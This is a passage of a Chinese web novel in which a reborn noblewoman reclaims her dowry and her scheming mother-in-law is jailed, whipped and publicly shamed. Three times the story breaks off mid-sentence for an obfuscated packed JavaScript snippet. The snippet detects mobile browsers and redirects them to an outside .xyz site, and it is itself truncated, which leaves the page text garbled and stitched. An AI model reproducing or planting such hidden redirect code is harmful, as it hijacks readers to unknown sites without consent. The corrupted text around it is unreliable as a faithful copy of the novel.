罗氏身子控制不住地发抖,都是钱啊!她辛辛苦苦藏的钱啊! 再看向主屋,发现自己睡的那张拔步床被粗使们合力抬了出来,因为动作太大,床褥上一只莹白瓷枕摔落,顷刻间四分五裂,碎成了渣。 俏月眼皮不抬一下,“无碍,老太太贴身用过的东西,咱们奶奶不要,扔了也罢。” 只是大奶奶不要,那些个粗使却稀罕得紧,一听贴身用过的不要,便有手脚快的,把床内的铺盖卷起,抱走了。 不仅如此,阶前两株百年海棠也被下人拿铲子挖了去。 “你、你们……” 这跟土匪有何区别! 罗氏一张瘦长老脸涨得紫红,额角青筋暴起,胸口更是剧烈起伏,粗重的呼吸如拉风箱般呼哧作响,突然一口气没上来,两眼一翻往后栽去。 这次轮到李素素撕心裂肺:“娘——” 4. 第 4 章 一刻钟后,琼华堂的闹剧彻底平息,从孟家借来粗使手脚利落,不一会儿便将东西搬到揽月阁,随后二十来人毕恭毕敬站成一排。 俏月很是扬眉吐气,叉腰站在廊下,满是邀功的意味,“奶奶您瞧,婢子全都给您讨回来了。” “做的不错。”赵清仪站在一旁,轻轻摇着团扇,眉目柔和,“檀月,给她们一人称把银稞子。” 这些人原就是孟家少爷孟嘉文派来的,办完差事自然有赏钱,加上她们在琼华堂顺了不少东西,奶奶都不计较,她们已心满意足,没成想还会再给打赏,忙不迭谢恩。 檀月称好重量,一人分了一把,“今日出了李家,诸位知道该怎么说吧?” “晓得晓得,奴婢们出去了,定然同人好好说道。”粗使婆子机灵地接过银稞子,笑得见牙不见眼。 待人都散去了,俏月便将搬回来的东西一一核对,清点入库。 檀月则回到赵清仪身畔,神情不免一丝担忧,“奶奶,婢子听说老太太气晕了,等大爷回来,老太太去大爷跟前告状可如何是好?” 倒不是怕罗氏,檀月只担心奶奶突然如此行事,会给李家带来不好的影响,万一影响了大爷的官声,那就是影响了大爷与奶奶的夫妻情分。 然而重活一世的赵清仪根本不在乎所谓的夫妻情分,三十六年人生,二十载夫妻,她已看透李彻薄情寡义,朝三暮四的本性,什么情分,不值一文。 “她们行事不要脸面,才给大爷招来流言,做娘的不替自己儿子考虑,还要我委屈自己,替她们周全?” 可笑。 檀月向来最擅察言观色,一时竟也摸不准自己奶奶的性情想法,总觉得奶奶一觉醒来,人似乎变了许多。 却也说不上是好是坏。 就在此时,原本高高兴兴的俏月匆忙跑来,“不好了奶奶,方才婢子去了库房,才发现奶奶的陪嫁私印不见了。” 那可是极重要的东西。 檀月也是一惊。 赵清仪却很是冷静,丝毫不惊讶。 当初罗氏要霸占她的嫁妆,又怎么可能放弃那枚私印?有私印在手,便相当于她陪嫁铺子的主人,掌握她所有钱财命脉。 上一世她顾及李彻,对罗氏的所作所为睁一只眼闭一只眼,不想闹得太难看。 这一世,罗氏是踢到铁板了。 “私印在婆母手里,但未免打草惊蛇,先别声张。” 想到上辈子两个婢子无怨无悔跟着自己操劳一生,忙前奔后,未老先衰,赵清仪不想将她们蒙在鼓里,“不妨与你们直说,我早不想做什么李家妇,更无所谓夫妻情分,所以你们也不必顾及李家任何人,至于大爷,若看我不顺眼,早早和离便是。” 提起与李彻的这段婚姻,赵清仪便觉晦气,扭身回屋去了,剩檀月俏月两个丫头大眼瞪小眼。 和……和离? 这比老太太偷了奶奶的私印还叫人惊骇。 — 是夜,月明入水。 琼华堂里,罗氏刚醒来,躺在半磨损的苇席上“哎哟哎哟”直叫唤,睡惯了软床高枕,哪里还受得了身下这粗糙低贱之物,一边叫苦,一边不忘咒骂。 “这日子没法过了,那贱妇竟然……竟然……待我儿回来,定要这小贱妇好看!” 罗氏骂得激动,一激动带起上半身,只听“嘎嘣”一声,罗氏觉得腰椎一麻,再次痛苦出声,“腰……我的腰哎……” 李素素守在一旁抹眼泪,乍然听得罗氏惊呼,慌忙过去扶她,“娘!娘你千万别激动,要仔细你的身子啊!” 罗氏却咽不下这口气。 琼华堂与揽月阁相隔不过一道门,眼下深更半夜,那帮从孟家借来的粗使走了,想必赵清仪身边没多少人手,罗氏便恶向胆边生,愤愤捶床。 “不行,扶我起来,我倒要去问问,她究竟打的什么主意!是不是存心折磨我们母女!若真如此,等彻儿回来,立即叫她滚!” 李素素正有此意,先前罗氏昏倒,她都没来得及告状,这会儿正好新仇旧恨加在一起了,高低要赵清仪给个说法来。 罗氏扶着刚闪了的老腰,颤巍巍直起身,走到门边,又折返回来,特意叫仆妇给她装扮,取来她最宝贝的暗紫色缎面褙子,那衣襟袖口皆绣满了繁复的缠枝花纹,又配上一条螺青马面裙。 至此,罗氏仍嫌不够体面气派,硬是在李素素的搀扶下行至窗前,把搁在案几上的盆栽砸了,在一堆黄泥之中翻出好些金钗珠花。 李素素险些惊掉下巴,“娘……你这……” “哼,老娘我早知那赵氏不是个东西,仗着自己出身好,压根瞧不上咱们李家,平日里送东西,就跟施舍条狗似得,瞧瞧,今日便原形毕露全要回去了,若非我留个心眼,你娘我连这点东西都保不住。” “可是,您拿出来若被赵氏瞧见……” “不会。”罗氏笑容狰狞,三角眼里闪着精光,“这些可不在她嫁妆单子上,她有什么理由要走?” 这三年里,她们没少在京中首饰铺里闲逛,每月开支如此多,能私下攒些金银,不足为奇。 李素素恍然,不由佩服,“还是娘想得周到。” 罗氏将金钗用水洗净擦干后,便对着铜镜往自己发髻上插,很快那单薄的发髻便插得满满当当,走起路来叮咚作响。 输人不输阵,如此,才叫气派。 罗氏挺直了腰板,冷着脸,便气势汹汹往揽月阁去。 然而到了揽月阁,却发现院门紧闭,罗氏刚抬起手准备拍门,转念一想,在地上捡了块不大不小的板砖,冲院门一通招呼。 用板砖拍门,动静巨大,才响了两三声,守在耳房的檀月便被惊醒了。 她跑到廊下冲院门的方向望去,就见厚重的木门被敲得发颤,檀月正犹豫该如何是好,罗氏的叫骂声越过院墙传了进来。 “赵氏!你个不知礼数,不敬长辈,折辱婆母的贱妇!还不赶紧给我起来!” “今日我病倒了,你不来我榻前侍疾,如今我来寻你,你还大门紧闭,这就是你赵家教养出来的好女儿吗?” 檀月暗自心惊,下意识朝周围的院墙瞟去,揽月阁的院墙外便是邻舍,住着不少官吏家的女眷,这大半夜搞出动静,很难瞒得过去。 就在檀月刚要进屋向赵清仪禀报,门便“吱呀”一声开了。 赵清仪披了件素色广袖罗衫立在门下,晦暗的月光下,那张莹白的鹅蛋脸辨不出喜怒。 胡同里,梆子响了三声,戛然而止,像是因为听到了李家的动静。 “奶奶,这下如何是好?” 檀月匆忙跨上台阶,到了赵清仪近前,“再闹下去,这些污言秽语便要传到左邻右舍耳中了,只怕对奶奶清誉有碍。” 赵清仪却出乎意料,做了个相反的决定,“去,把后头的角门打开。” 横竖是李家的家丑,丢的是李家的脸,李彻的脸,至于她么…… 都死过一回的人了,脸面哪有实在的好处重要? 这一次她要的不仅仅是嫁妆,还要这李家的掌家权,没有罗氏这个蠢笨鱼目在前,又如何显出她的厉害? 最好闹大些,闹到公堂上,闹到锦衣卫那儿。 届时所有人都该知道,由她赵清仪掌家,才是最稳妥有利的选择,谅李彻回来了也不敢多说半个字。 檀月约莫是明白了自家奶奶的意图,低声应是便去办了。 本已歇下的俏月也被吵醒,揉着惺忪睡眼走过来,“奶奶,这老虔婆莫不是疯了?大半夜不睡觉,鬼叫什么呢?” 她撸起袖子,“看婢子如何把她骂回去!” “不打紧。”赵清仪双手抱臂,气定神闲,“疯狗咬你一口,难道你也学它张口咬回去么?” 俏月忍了又忍,才没破口大骂。 好在很快檀月回来了,她冲赵清仪微微颔首,“老太太的嗓门够大,附近两条街都能听见。” 几乎是檀月的话音刚落,门板再次被人砸响,伴随着罗氏变本加厉的咒骂声。 “都是你个克夫丧门扫把星!我儿前途大好,若不是你,怎会被外放到那鸟不拉屎的贫瘠之地足足三年?自从我儿娶了你,我李家是日日不得安宁!如今你不懂侍奉婆母便罢,竟还带娘家人上门辱我!” “你仗着娘家有权有势,便不把我这婆母放在眼里,你就不怕老天开眼,一道雷劈死你个不孝儿媳吗!” 院中的赵清仪不怒反笑。 可不是仗着娘家么? 前世这个时候,她父母弟弟尚在,罗氏私下里再不喜她,再算计她嫁妆, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625639|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少明面上,二人还维持着不咸不淡的婆媳关系,直到父亲调任回京遇到的那场劫杀…… 赵清仪永远不会忘记,那是在李彻回府后的半个月,山西传来噩耗,父母弟弟不治身亡,赵家大房一脉断绝,只剩她一个外嫁女儿。 而她的亲祖母,赵家老夫人,承受不了白发人送黑发人的打击,也在一夜之间病倒,不久后撒手人寰。 自此,赵家与她最亲近的人都不在了,她从备受宠爱的高门贵女,一夜沦为孤女。 没了阁老父亲,没了皇商出身的母亲,没了至亲的弟弟,又失去了疼爱她的亲祖母。 除了已经带到李家的几十万嫁妆,赵清仪再无任何可利用的价值。 落难之时,方知身边的究竟是人是鬼,罗氏不再掩饰自己的野心与恶意,强占她名下所有嫁妆,对她横挑鼻子竖挑眼,日日都是立不完的规矩,甚至不同意她为亡父母守孝三年,硬逼她与李彻圆房,为李家绵延子嗣。 为了在李家立足,失去依靠的她只能退让,忍受。 她至今记得圆房那日的痛苦,她一身缟素,她哭泣,她哀求,也换不来罗氏一丝的怜悯,而李彻身为她的丈夫,选择了冷眼旁观,选择了强迫。 那时的她如坠地狱,身心双重煎熬。 她从未有一日觉得自己的丈夫这般恶心。 那日她被迫圆了房,怀了孩子,却还是因为罗氏日复一日的立规矩,导致她在雪地里小产,从此更是落下病根。 罗氏与李彻终于可以名正言顺纳妾了,并要求她接纳那个来路不明的奸生子为嫡子。 赵清仪原以为,一切都是她自己不争气,为此她甚至内疚,她把李彻的奸生子当亲儿子般教养,付出了毕生的心血,她浪费了父亲生前攒下的所有情分,为李彻仕途铺路。 可最后呢…… 赵清仪临死才知全部真相。 回忆起上一世,赵清仪遍体生寒,浑身冷得透彻。 她痛苦的闭上眼。 这些仇恨,哪怕重来一世,哪怕这一世还没发生过,她也无法释怀,更做不到原谅。 她要让所有人付出代价,曾经她有多痛,便要这些人百倍千倍的还回来! 再睁眼,赵清仪眼底只有一片不近人情的冰冷。 “赵氏,你个丧门扫把星,都是你,都是你害了我儿!害了李家!” 院外,罗氏还在喋喋不休的叫骂。 随着她叫骂的时间越长,原本气鼓鼓的俏月反而不那么生气了,尤其听到罗氏抱怨儿子被外放岭南的事,她便蓦地勾起嘴角,与檀月对视,像是在说罗氏死定了云云。 李彻一朝高中进士,本可直入翰林,却不知因何得罪了当今陛下,这才在新婚夜被外放到岭南鹤山县,然罗氏粗鄙蠢笨,不晓得其中关窍,时常把这事挂在嘴边,将一切归咎到赵清仪头上,固执的认为是她八字克夫,逢人便说她不详,仿佛如此践踏她,就能给她们李家找补些颜面。 殊不知这些话落在有心人耳中,便能参李家一个大不敬之罪。 有道是,雷霆雨露皆是君恩,即便被贬被砍头,你也得谢恩,偏罗氏在这叫嚣不满,表面是对赵清仪这个儿媳的不满,实则是对三年前陛下将李彻外放岭南一事的不满。 上一世为保住李家,保住李彻的官身,赵清仪没少跟在罗氏母女后头收拾残局,如今无需她多言,看罗氏作茧自缚便是。 听到了想听的话,赵清仪如释重负,心安了。 快的话,明日一早便能看到结果。 “不早了,回去歇着吧。” 三人各自散去。 揽月阁外,罗氏砸累了,骂累了,颓然丢了手里的板砖,在李素素的搀扶下寻了个石阶坐下。 “娘,我看那赵氏存心不愿搭理咱们,一直这般砸门都没反应,要不,咱们明日一早再来?” “我就不信,她还能一辈子窝在里头不出门了。”罗氏不依不饶,那阵仗像是要守到天亮。 李素素只好与她一起守在院门口,可她实在困极,迷迷糊糊便睡了过去。 翌日,天蒙蒙亮,邻舍的鸡刚打三声鸣,管事妈妈紧跟着也尖叫出声。 “老太太,不好了不好了!” 管事妈妈跑得跌跌撞撞,一面大喊,“锦衣卫上门啦!” 5. 第 5 章 睡梦中的母女俩被吓了个激灵,双双站起身来,脸上还有尚未清醒的迷茫。 “什、什么东西?” 管事妈妈要哭了,抓着罗氏的胳膊,几乎脸贴着脸喊,“哎呀太太,是锦衣卫!锦衣卫上门啦!” 罗氏身形一晃,醒来又险些吓晕过去,“锦、锦衣卫怎么来了?快拦住他们呀!” “锦衣卫”对民间小老百姓而言,那就是修罗阎王的存在,凡能出动了锦衣卫的,不是犯通敌叛国诛九族的罪,那也得是个杀头流放。 正当罗氏与李素素抱在一起,不知如何是好,揽月阁的院门终于从里头打开了,早已梳妆完毕的赵清仪在婢子的搀扶下,袅袅婷婷跨出了院门。 见到门口略显狼狈的罗氏母女,赵清仪故作惊讶地挑眉。 慌乱的罗氏一瞬间像是看到了挡箭牌,二话不说就推了她一把,“你快去看看,锦衣卫上门来做什么的?” 赵清仪没动,只慢条斯理掸了掸衣服,“婆母不做亏心事,又何必惧怕锦衣卫呢。” 下一刻,又有几个仆妇跌跌撞撞奔来,后头紧跟着七八个身着飞鱼服,腰佩绣春刀的锦衣卫,为首之人肤色幽黑,眉目冷肃,额间还有一刀三寸长的刀疤,一看就不好惹。 那凌厉的眼神扫过来时,罗氏双腿不自觉发抖。 赵清仪不动声色,冲来人略一福身,“杨千户。” 居然认识? 几人不约而同将目光投向赵清仪,仿佛在看着救星,罗氏也顾不得自己昨日刚辱骂过赵清仪,屁颠屁颠躲到她身后。 “好儿媳,你、你与这位大人认识啊?那你可得同这位大人好好说说,咱们家都是良民……” 为首的杨千户却将眼睛死死黏在罗氏身上,一语不发。 罗氏被他瞧得浑身发毛,索性低下头去。 杨千户这才向赵清仪颔首示意,“昨夜有人到北镇抚司报案,说李家有人对当今陛下不满,口出恶言,上头也递了话,命我北镇抚司需将人逮捕归案,细细盘查,赵大奶奶,烦请通融。” 罗氏与李素素猛地打了个寒战,连连摆手,“不不不,这……这纯属子虚乌有!没有的事!” 她一介平民,哪儿敢冒犯陛下? 李素素也跑过去拉着赵清仪的袖摆,“嫂嫂,您快同这位大人说清楚呀,咱们家清清白白,可不能担这污名,娘她、她一把年纪了,更不能进诏狱呀!” 赵清仪没吭声,罗氏也跟着劝,语气姿态放得极低,“好儿媳,都怪我这婆母,昨日是我气昏了头,是我口不择言!是我蠢笨无知!” 罗氏一边说,一边甩了自己几个耳光,带着哭腔哀求,“可你也知道的,我、我可不敢有大不敬的心……我要是出事了,我的彻儿怎么办?他也是你的夫君啊……” 像是触动了赵清仪一般,她深吸口气,冲杨千户笑笑,“昨夜之事只是婆母对我有所埋怨,这才失言,锦衣卫耳目遍布京城,这李家是什么样的人,想必杨千户心里比谁都清楚,是否误会,您应当自有分辨。” 出乎意料的,一直冷脸看起来很不好惹的杨千户,闻言微微点了下头,“大奶奶所言极是,不过既有人报案,我锦衣卫也只能秉公处理,若传闻所言不实,锦衣卫自会放人。” 罗氏满是希冀地看向赵清仪,盼着她能再为自己周旋一二,谁料赵清仪却也点头,“既如此,我也不好拦着。”便往左让了一大步。 罗氏母女大惊,不等她们再开口说话,两个锦衣卫上前一左一右扭住了罗氏,李素素被迫躲到一旁,泪眼婆娑地看着这一幕。 “不,民妇是冤枉的!民妇是冤枉的!” 诏狱啊,那可是诏狱啊,光是听了都要吓死的程度,罗氏难以想象自己被关押在里面,受尽酷刑的折磨。求生欲之下,她就像只拼命扑腾的老母鸡似的,想方设法要挣脱锦衣卫。 结果还没她挣脱出来,杨千户便上前,三两下把她满头的金钗珠花拔了下来,“依我大梁律,六品下官眷及平民禁戴金饰,一经发现,笞五十,罚没禁物,带走!” 罗氏这下也不知是怕死还是心疼她好不容攒下的金首饰,顿时仰面大哭起来,李素素也吓白了脸,不知所措。 早年大梁律法严苛,甚至有民间因戴金镯被抄家的旧例,只是到了如今定西年间,陛下开明,江浙一带富商兴起,百姓生活富裕,不少有钱的地主女眷私下都敢佩戴金饰,官府也往往睁一只眼闭,并不追究,没成想,到了她们这里,反成了把柄。 罗氏哭天抢地,“好儿媳,你快求求大人开恩呐!民妇蠢笨,实在不晓得这些个礼律!苍天可鉴,民妇绝无僭越不敬之心!” 赵清仪仿若未闻,任由锦衣卫把人押走了,直到人影彻底消失在实现里,李素素抵着廊柱,颓然滑落。 泪水不自觉溢出眼眶,“完了、完了……” 其余仆妇也不知如何是好,只能把目光投向赵清仪——这位李家唯一还算冷静之人。 别的不知道,光瞧那凶神恶煞的千户大人都对大奶奶恭敬有礼,便知大奶奶是个厉害的,能镇场子的。 李素素挣扎起来,拉着赵清仪的袖子就差没跪下了,“嫂嫂,你认识那千户,你就行行好,让他们通融通融,我娘知道错了,再也不敢了!那诏狱堪比死人窟,娘她一把年纪的人,进去了受不住呀!” 赵清仪故作无奈,叹了口气,“我在李家说不上话,你与婆母又各有主意,我若多言,便会像昨日那般惹得你们不快,不过想来,幸好昨日手脚快些,把不该留在你与婆母屋中的东西全都撤走了,不然今日锦衣卫若查起来,小姑也得去那诏狱走一遭呢。” “从今往后,我什么都听你的!” 李素素想也不想,斩钉截铁道,“只要嫂嫂肯出面把娘救回来,往后家中都由你说了算!” 不求赵清仪,还能求谁呢?李家早就落败了,在京中毫无根基,眼下唯一还能仰仗的,只有赵清仪这位名门出身的贵女,有她在,多少还有些关系可以通融。 赵清仪等的就是这句话,她忖了忖,叹道,“也罢,我父亲昔日于那杨千户有恩,我备下厚礼登门,希望能让婆母在狱中少受些苦。” 话虽如此,罗氏要受的罪却一点没少。 罗氏到了诏狱门前,被推入甬道的刹那,潮湿的霉味混着血腥气猛地呛入喉管,令她胃中又一次泛起恶心。 在狱卒的催促下,她不得不朝甬道深处走去,两侧火把噼啪作响,映出墙上层层叠叠的血痕,深浅不一的沟壑里还残存着已经发黑的指甲血肉。 罗氏只觉头皮发麻,似乎还能听见人犯被拖拽进牢房之时,拼命用手抓挠墙壁发出的吱吱声。 杨千户走在前头,一脚踢开地牢的铁栅,罗氏紧接着被人推进去。 “看老太太的穿衣打扮,想必是讲究体面人,寻常刑具怕是入不得您的眼。” 杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625640|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千户从盐水桶里拎起九股生牛皮拧成的软鞭,粗糙的指腹刻意抚过鞭梢上细小的倒刺,“这是琉球才有的九尾鞭,专用来惩戒身有诰命的夫人,老太太僭越也不是一回两回了,用上这个,也算瞧得起你。” 他的面容在诏狱火把的映衬下,愈发吓人了,“别看它不起眼,一鞭子下去,衣裳越金贵,撕下的皮肉,越完整……” — 当日傍晚,赵清仪让人备了酒菜送到北镇抚司,并将腕上的羊脂玉镯褪下,塞到杨千户手中。 其实罗氏的罪说大也不大,当今陛下年轻开明,对此并不严苛,全看底下的人想如何行事,好处到位了,这种不轻不重的小罪,都好解决。 隔日,罗氏就被放了出来,只是出来时,人像是被扒了层皮,形销骨立,神情恍惚,一头本不茂密的头发乱成了鸡窝,两只手腕还有被绳索束缚留下的红痕,胳膊后背更是布满鞭痕。 在诏狱门口见到李素素,罗氏一刹那泪眼汪汪,扑到女儿怀里哭得那叫一个惨。 檀月不想浪费时间,撩起靛蓝车帘,一股好闻的沉水香从车内飘出。 “老太太,上车吧。” 罗氏出来之时听里头的锦衣卫说过了,是赵清仪花钱打通关系,才让她免受牢狱之灾,只是死罪可免,活罪难逃,还是扛了杨千户十鞭子。 还在诏狱门口,罗氏不敢叫嚣,忍痛佝偻着钻进马车。 “婆母当心伤口。” 赵清仪头也不抬,莹白指尖从鎏金香炉上移了半寸,里头刚燃上的熏香,适时驱散了罗氏身上扑面而来的血腥气。 待马车动了,赵清仪才缓声开口,“回府以后,还望婆母将掌家对牌交到儿媳手中。” 浑身疼痛的罗氏当即警醒,“不行!” 赵清仪一默,清凌凌的眸瞟了过去,夹在中间的李素素呼吸一紧,暗暗拉了拉罗氏的衣角。 “娘……” 李素素不停使眼色,“嫂嫂也是为我们好,你看这次的祸事,幸好没连累了哥哥……” 她就指望兄长平步青云,将来她好高嫁。 看着罗氏满身的狼狈,李素素便会想起在揽月阁那日,檀月提醒她的那些话,忽然又庆幸自己屋里头的东西搬走了,否则保不齐,今日进诏狱的就是自己了。 钱和命相比,当然命更重要,更何况被逮进诏狱着实不体面,她还是个未出阁的姑娘,总要替自己的婚事考虑。 “呸!” 罗氏恨铁不成钢地瞪了女儿一眼,“我看这祸事八成是她引来的!你还把她供上了?” 她指着赵清仪,下颌微扬,“不管你打什么主意,要掌家权,想都别想!” 笑话,掌家权可是她的命根子。 屋里的东西搬走了,那些个店铺庄子却还攥在她手里。 即便不愿承认,罗氏也清楚,李家门楣就是靠赵清仪的嫁妆撑起来的,一旦她让出掌家权,势必还得把铺子交出去,那都是白花花的银子。 赵清仪也不急,接过旁边檀月递来的青瓷盏,盏中君山银针正腾起袅袅雾气。 “非儿媳想要争权,婆母若觉得李家在您手里能蒸蒸日上,您能帮衬得了夫君,儿媳也无话可说。” 罗氏噎了下,可她不愿低头,冷哼了声,“我的儿子,我自然会为他考虑,轮不到你来……” 话音未落,马车倏地停下,让罗氏与李素素晃了个趔趄,头差点撞上车壁。 6. 第 6 章 “话不投机,婆母下车吧。”青葱细指捏着茶盏,赵清仪杏眸微冷。 罗氏惊讶于她的反应,居然连装都不装了? “你这是赶我走?” 赵清仪不疾不徐啜了一口热茶,声音柔和,“婆母既瞧不上我,想来也不屑乘坐我的马车,今日就当我多此一举。” 碍于面子,罗氏还是冷哼,“下车便下车,正好让外头人都瞧瞧你赵家养出的好女儿!” 罗氏气鼓鼓撩开车帘下去,李素素两边为难,最后还是跟着罗氏一起下了马车。 纵使檀月是个稳重的,也不免嘟哝一句,“不识好歹。” 之后便是浓浓的担忧,“奶奶,当初您陪嫁的铺面庄子,还有您的私印都在她手里,她不愿交出掌家权,我们又当如何要回这些钱财?” 俏月咬牙,“她不肯,咱们便去官府告她强占嫁妆!” “不必如此麻烦。” 赵清仪并不因此动怒,“恶人,自然要用恶人的手段来磨。” 她断了罗氏母女日常的吃穿供应,罗氏为了过活,自然会想法子拿出钱来,只要拿出来,一切都好办。 一盏茶吃完,马车重新驶向李宅。 罗氏盯着马车走远的方向,一瘸一拐行走在大街上,很快就后悔了。 她无缘无故同赵清仪赌什么气呀,最后累的还是她自己,这刚从诏狱出来,饿了一整天还挨了十鞭,哪有力气走回李家。 罗氏不由想起方才在赵清仪的马车里,自己坐到的那块云锦褥子,是真软啊。 李素素也后悔了,抱怨道,“娘,你说你逞什么强呢?” 罗氏的形象实在谈不上体面,她宝贝的暗紫色缎面褙子在受刑时被打得稀烂,被迫扒了去,上身只有血污斑驳的中衣,蓬头垢面,发髻散乱,一路走过去,街道两旁的人都躲得远远的,不时冲母女二人指指点点。 李素素受不了异样的目光,抬手挡脸,恨不得找个地缝钻进去。 这还不是最糟糕的,糟糕的是有人认出了她们。 “这不那什么李探花郎家的女眷吗?怎的这般狼狈?” “听说是犯了事儿,进诏狱啦……” “呀,这都没死?”有好事者表示惊讶,遥望了一眼北镇抚司的方向。 “可不么?听说最后还是靠儿媳才捡回一条命。” 另有知情者悄声说,“这赵大奶奶着实倒霉,出嫁三年,就守了三年活寡,她还无怨无悔侍奉婆母三年,结果嫁妆还被强占了去……要我说,赵大奶奶不如别管,让这老虔婆死诏狱里,清静!” “竟有这事儿?” 李家虽破落,好歹出了个探花郎,于百姓而言也算高门了,天性使然,让他们对李家后宅事充满好奇。 “我家亲戚是在孟家做粗使的,前日才去李家帮赵大奶奶搬嫁妆,那做婆母的霸占着儿媳嫁妆不放,要死要活,反过来指责儿媳仗势欺人,连夜追到儿媳房里咒骂……” “呸,真是不要脸!” 一语既出,又有好些多嘴的婆子混入其中,七嘴八舌议论起来,再抬眼去看罗氏,已经有人出手冲她母女二人丢臭鸡蛋了。 罗氏与李素素抱着头,宛如过街老鼠般逃窜,等逃回家,母女俩头上身上,不是臭鸡蛋就是烂菜叶子。 “我……我要把这些刁民统统告到府衙去!”自李彻高中,罗氏何时受过这等侮.辱。 “娘,快别闹了。”李素素已经累了,“您看这京中人处处议论咱们李家,您再去闹,女儿脸面都快丢尽了!” 罗氏眼皮顿时吊起,“你娘我被害成这样,你还嫌我给你丢人?” 这一嗓门,邻里又有不少人探出脑袋,而李家宅子就在府学胡同里,这会儿还有刚散学的府学士子,也朝这边看去。 李素素要哭了,大街上丢脸便算,这些府学士子可是她将来择婿的目标啊。 她面色涨红,见与罗氏说不通,便愤愤一跺脚,推门进屋去了。 直到仆妇出门相迎,罗氏才肯罢休。 罗氏有伤在身,其实不宜碰水,然她受不了这满身晦气,执意叫仆妇烧水来为她净身沐浴,她也是个能忍的,疼得吱哇乱叫,还是忍耐着把头发身体清洗干净,又让人熏了香,总算闻不到臭鸡蛋的味道了。 罗氏梳妆时想到了女儿今日的话,沉吟道,“我记得,大理寺通判的刘太太似乎很喜欢素素,前段时日才下了帖子邀我今日茶楼相会,我不若去见见,也好将素素的婚事提上日程。” 罗妈妈“啊”了声,复又垂下脑袋,“有、有这事儿吗?” 罗氏白她一眼,“我儿刚调任时,刘太太就来下过拜帖,只是那会儿我没空搭理她,今日正好想起来了,你去刘家传个话,就说我在茶楼等她。” 罗妈妈犹豫,委婉地劝,“老太太,要不您还是在家中休养好了再……” “叫你去就去!废什么话?” 罗妈妈只能领命。 罗氏自觉为一双儿女操碎了心,顶着帷帽,强撑着去了茶楼,结果半个时辰过去,也不见人赴约,便又派人去催,又过小半炷香,依旧无人前来。 罗氏怒了,愤而起身,雇了顶轿子,摇摇晃晃去到刘家门前,罗妈妈敲了三下门环,门便开了条缝。 罗妈妈刚堆起笑脸,门缝里的人一瞧是罗氏,连忙把门重新合上。 罗氏再迟钝也知道自己被拒绝了,顿时火上心头,“什么意思?啊?前些时日刘太太还巴巴地上门请我,今日我亲自邀她,竟给我吃闭门羹?” 罗氏哪怕受了伤,也还中气十足,声音直接传到门后。 刘太太生怕罗氏撒泼,便匆忙开了门。 见刘太太亲自出来,罗氏脸色稍缓,清了清嗓子,打算换种语气说话。 刘太太便道,“好姐姐,你还是请回吧,先前我确实有意让犬子与令千金结亲,可事后想想,是我草率了,李家门楣,我刘家实在高攀不起,您快回去吧!” 现在京中几乎都传遍了,人人都道李家是虎狼窝,是跳不得的火坑,做婆母的非但不感念赵家把掌上明珠下嫁李家的情义,还嫉恨儿媳出身高门,嫁妆丰厚,婚后不仅强占儿嫁妆,还整天非打即骂,甚至口出恶言对陛下不敬,这要追究起来,可是杀头灭族的大罪。 这种人家养出的女儿,娶了也会祸及夫家,万万要不得。 刘太太说罢,厚重的大门再次“砰”的一声合上了。 罗氏人都气傻了,她死死攥着帕子,不信邪,回了李家又翻出昔日的拜帖,挨家挨户去传信相邀,结果苦等大半日,那些帖子便如石沉大海,杳无音讯,一连七八日,皆是如此。 眼看六月将近,罗氏伤势恢复了大半,晌午,她看着桌上的清粥素菜,又气不打一处来。 虽说如今的生活比起三年前已是好了许多,可人嘛,由俭入奢易,由奢入俭难,让她过回清粥素菜的日子,她受不了。 杀千刀的赵氏,娶了她,李家就没一桩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625641|172343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事! 罗氏抄起一只破了口的白瓷碗摔在地上,以发泄心中憋闷。 旁边跟着用膳的李素素则心如死灰,她支着脑袋,筷子在碗中随意翻搅。 她知道娘近日在为她的婚事奔波,谁料没一家人肯回应李家的拜帖。 想到这辈子有可能老死在李家,嫁不出去,李素素觉得天都塌了,人生彻底没了希望,只盼兄长尽快回京,好挽回她和娘的名声。 就在母女俩凄凄哀哀时,管事忽然兴冲冲登门,“有回帖啦!有回帖啦!” 母女俩齐齐站起身来,罗氏因为激动,牵动了身上的伤口,疼得倒吸一口凉气,薄薄的嘴角却歪着笑,别提多高兴。 “苍天有眼!我就知道我李家不会这般……” 话音未落,捧着帖子的管事笑容一僵,她将帖子翻转过,“这、这好像是给大奶奶的拜帖。” 罗氏登时变了脸色,直接把帖子撕碎。 罗妈妈在旁瞧着,小声问,“老太太,要不……还是知会大奶奶一声,毕竟是给她下的帖子。” “知会什么?”罗氏声音尖利,“这家是我做主!哪儿轮得上她来说话?” 罗妈妈与管事各自低着头,不敢吭声。 